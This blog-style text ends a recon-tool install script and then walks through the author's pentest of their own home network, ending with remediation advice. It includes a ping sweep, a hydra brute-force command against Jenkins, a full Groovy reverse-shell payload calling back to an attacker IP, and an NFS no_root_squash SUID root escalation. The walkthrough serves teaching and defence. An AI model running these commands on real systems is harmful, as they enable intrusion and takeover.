mv ./amass_linux_amd64/amass /usr/bin/


# nuclei
curl -s https://api.github.com/repos/projectdiscovery/nuclei/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf nuclei* nuclei
chmod +x nuclei
mv nuclei /usr/bin/

# httpx
curl -s https://api.github.com/repos/projectdiscovery/httpx/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf httpx* httpx
chmod +x httpx
mv httpx /usr/bin/

# subfinder
curl -s https://api.github.com/repos/projectdiscovery/subfinder/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf subfinder* subfinder
chmod +x subfinder
mv subfinder /usr/bin/

#aquatone setup
curl -s https://api.github.com/repos/michenriksen/aquatone/releases/latest | grep "browser_download_url.*linux_amd64-*" | cut -d : -f 2,3 | tr -d \" | wget -i -
unzip aquatone* aquatone
chmod +x aquatone && cp aquatone /usr/bin

# FFUF
curl -s https://api.github.com/repos/ffuf/ffuf/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf ffuf* ffuf
chmod +x ffuf
mv ffuf /usr/bin/

# getallurls (gau)
curl -s https://api.github.com/repos/lc/gau/releases/latest | grep "browser_download_url.*linux_amd64.tar.gz" | cut -d : -f 2,3 | tr -d \" | wget -i -
tar xzf gau* gau 
chmod +x gau 
mv gau /usr/bin

cd ..
echo "Don't forget to install metasploit, setoolkit, hexeditor, burp suite, wireshark, etc"
echo "all finished!"

You can add whatever you want to this script, and then spin up your bug bounty box with one script. I have my script set my hostname, bashrc, environment variables, download repos from git, install docker, install go, etc.

So who should you use for your VPS? I’ve used AWS, Azure, Digital Ocean, and Linode, and I find Linode to be the best. Just try them all out, and I think you’ll agree with me. AWS and Azure are both massive in size. Azure seems to take way to long to do certain tasks, so that is frustrating. The site just seems slow in general. AWS is better than Azure.

Linode is where it is at. It is quick. The interface is simpler and easier to use than all of the above, and it is cheaper than all of the above. Check it out using my referral link, if you’re interested. That link will give you a $100/60 day credit, so you don’t want to sign up without one. You can just try it out for free and see what you think.

Hacking My Home Network

Home Network

Hacking my Home

> Initial Access

So, I had to fake the initial access portion of this pentest. I only have one externally facing service open on my firewall, and it doesn’t allow logins, so I’m fairly secure in that regard. I also run an intrusion detection system on my LAN, so hopefully I’ll be made aware of any intrusions.

I have a Raspberry Pi 3 (RP3) on which I run Retropie to play old games. Let’s say I downloaded a malicious ROM that was actually a RAT, and now the attacker (me) has access to the RP3 as the pi user.

ccf2c614ef7982378dceb728288b9bb0.png
14f32e4dd0e76cc9682d7417dac76060.png

The first step in this attack would likely be to map the internal network with nmap. Unfortunately, nmap is not installed.

What do I do in this case? Well, I could use this bash script to do a rudimentary ping sweep of the network.

for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
80b755fc3055e63b734dcf122c0a0f5b.png

That gives us a list of IPs to work on for lateral movement. But what else can we do? Let’s try ARP:

That gives us mostly the same results, but if you look closely, there are a couple of devices that didn’t show up in the ping sweep. If we look closely at the hostnames, you’ll see a lot of IoT devices and not many “real” PCs.

But, as we already know, this is a RP running Retropie. Maybe there are default credentials for the Retropie, and we can use them to install stuff.

https://www.google.com/search?channel=fs&client=ubuntu&q=retropie+default+credentials

Looks like the default creds are pi:raspberry. And it looks like they will work for us. Let’s install nmap and truly map the network.

First we will do a simple nmap scan and skip port scanning.

831d06d508eabf4eb9d8ba00a50b60cd.png

This output is a little more clear than the ARP scan. We can see a couple of interesting hostnames – desktop1, parrot, and unifi. The first thing that comes to mind when I see parrot is ParrotOS, the pentesting operating system. And I’m assuming desktop1 is a desktop PC. We also have some IPs without hostnames, which we can investigate as needed.

Additionally, we see a bunch of IoT devices present, which we won’t spend time on now, but I’m planning an article in the future focusing on security issues associated with them.

> Lateral Movement

Let’s start with an nmap scan of parrot:

We have a couple of ports there that could come in handy, if we happen to find any usernames. This is a home network, so we likely can spray/brute force without being detected (except, I’d actually detect this on my LAN with my IDS). Make note of this scan and move on to nmap 186 desktop1:

e999378aa925320963a531b0330897cd.png

That’s strange, it doesn’t seem like the desktop has many ports open. Now, how about unifi, 192.168.1.191. It turns out this is actually my desktop PC.

sudo nmap -A -p- 192.168.1.191 | tee nmap-desktop.txt

Turns out there was A LARGE NUMBER of open ports on my desktop, which was expected. I run some services on my desktop PC, which actually serves multiples roles around my home as a media server, general workstation, development server, VM/container host, etc. So let’s grep that file for open ports

560bcd48bec0c481f3f0ee76f89b08c8.png

Where to start? Well, the services that stick out the most to me are port 2049, which is probably an NFS share, all the 8XXX ports and 9080, which all seem to be webservers of some sort. I’m going to access these locally, but if this were real life, I’d have to setup proxychains/SSH/etc to use the RP as a pivot box. Let’s check the NFS share first.

showmount -e 192.168.1.191
044f0a1eb851156589ec088deb841c9c.png

Looks likes we have some shares there. Let’s mount them.

31cdf3f0c369130ff401e8146d1f2f58.png

Jackpot! We have some very sensitive directories here – even a file named username.txt. We are going to avoid enumerating this data, but if this was a real pentest, you can be assured there are things to be found here. Let’s move on for now.

Sure enough, port 8443 is a Unifi login point. Port 8080 also redirects here.

66fd078227e76497b13bd028ff3a5c0d.png

We can explore this down the road, if needed, but let’s take a look at some more stuff. Ports 8880 and 8843 give me 400 error codes.

b68b02a6f270ed8c9416efd957a44b4c.png

And port 9080 seems to be Jenkins, hmm.

f457b858e5df66667966098250ca3da8.png

One thing I know about Jenkins is that it will start up with a default username of admin, unless you change it. Maybe we can crack it with hydra? After all, it is a local and behind a firewall. Maybe the user (me) is lax on security on their local network. Good thing I’m administrator on the Raspberry Pi. Now, if we are going to brute force this password, we need get the details of the request.

d8829b8b1bc2358cc5f6290829ce5714.png
d850f74dea1046649edf8bd619ea19a8.png

With the information in those headers and body, we can create a hydra command to brute force the password, using this list:

7d53cf53495302e186087c54a86ad9a8.png

Here is the hydra command:

hydra -l admin -P /home/pi/darkweb2017-top10000.txt 192.168.1.191 -s 9080 http-post "/:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid"

And success! Maybe I should have tried the simple ones manually, first, but oh well. In a real pentest we may consider password spraying all the login pages and services that we can find.

9ad1119a9a251aad0a024615c883b725.png
08db9fa78fdaa84f887a7c762a16e6b8.png

Looks like there is one job present that we would explore in a real pentest. This may give us some info to move laterally on this network, or even other networks, if this is some sort of pipeline for an external site (which it actually is, https://nuke-api.com). For now, we can use the tried and true method of obtaining a reverse shell from the Jenkins Script Console:

6503fd18628aec848fa6e134989b2ca9.png
String host="192.168.1.201";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Then start the listener on the attacking box, hit ctrl-enter in Jenkins script console, and voila!

b9c3b99adba89e5a2c1c0cb17d78c2a1.png

Now we have the user ‘user’ on the desktop PC.

> Privilege Escalation

First, we get ourselves a better shell.

Lets get rid of that command echoing:

210e4ba531004cd467a49e2117c6180f.png

You see those data folders? That’s interesting because those are the same ones we saw that were shared with NFS earlier. Let’s get some more information about them.

df1828fa0016d2e78810487e0769145c.png

Uh, oh. I think we found a way to elevate our privileges. That ‘no_root_squash’ export option is a security concern. Basically, it allows remote users to mount the drive and do things as root.

So let us go back to the RP3.

796dc9c021fed5826465999153690658.png

We’ve mounted the drive again (disregard the obviously sensitive files and directories, we aren’t focusing on that aspect today).

From here we can do one of my favorite privilege escalations to obtain root on the desktop. Now, if the boxes were the same architecture, we could, on the RP3, copy /bin/bash to the mount and set the SUID bit. Unfortunately, that will not work in our case, so we will have to use our brains.

7c4a8db4ce17a06d94e0ff04a212e142.png

First, create this simple C program to elevate to root. Then, on the desktop, compile the program. Maybe we could have transferred the desktop’s bash binary to this directory, and then enable the SUID bit from the RP3, but I decided to do it another way.

gcc getroo.c -o getroot

Then, back on the RP3, run the following command to make the file executable and the SUID bit active.

sudo chmod root:root getroot
sudo chmod +sx getroot

Now, back on the desktop

b3b1c100d7cea8c04e3ff93324137903.png

We can see the file is now there with the SUID bit set, so we run it, and now we are root!

> Analysis and Remediation

Phew! Where to start? This pentest exploited a litany of security issues.

To start, if the initial access was obtained from the download of a malicious file, some antivirus may have helped. Better yet, train your users to not download strange files. After all, antivirus can be bypassed.

Next, let’s talk about default/basic credentials. We ran into this twice on this engagement – once on the RP3, which allowed us root privileges to install software to advance our attack, and then once again default credentials allowed us to log into Jenkins.

Once we got into Jenkins, we used built in functionality to get us access to the desktop box. This could have been remedied, or alleviated by disabling the Jenkins script console, or running Jenkins with a different user. We also could run Jenkins in a container (which is what I actually do, IRL). That way, the malicious actor would have to break out of the container in order to obtain direct access to the box. As long as the container is properly configured, it may be very difficult, or impossible to break out of.

Ultimately, the misconfiguration of NFS shares is what allowed us to root the desktop PC. The shares did not need to be shared with no_root_squash. This options allows a root user on another box to create files that will remained owned by the root user instead of being owned by a user named ‘nobody.’ This is a security feature that should almost never be bypassed.

That is all I got. Please don’t hack me.

Disclaimer: My network is not actually this insecure.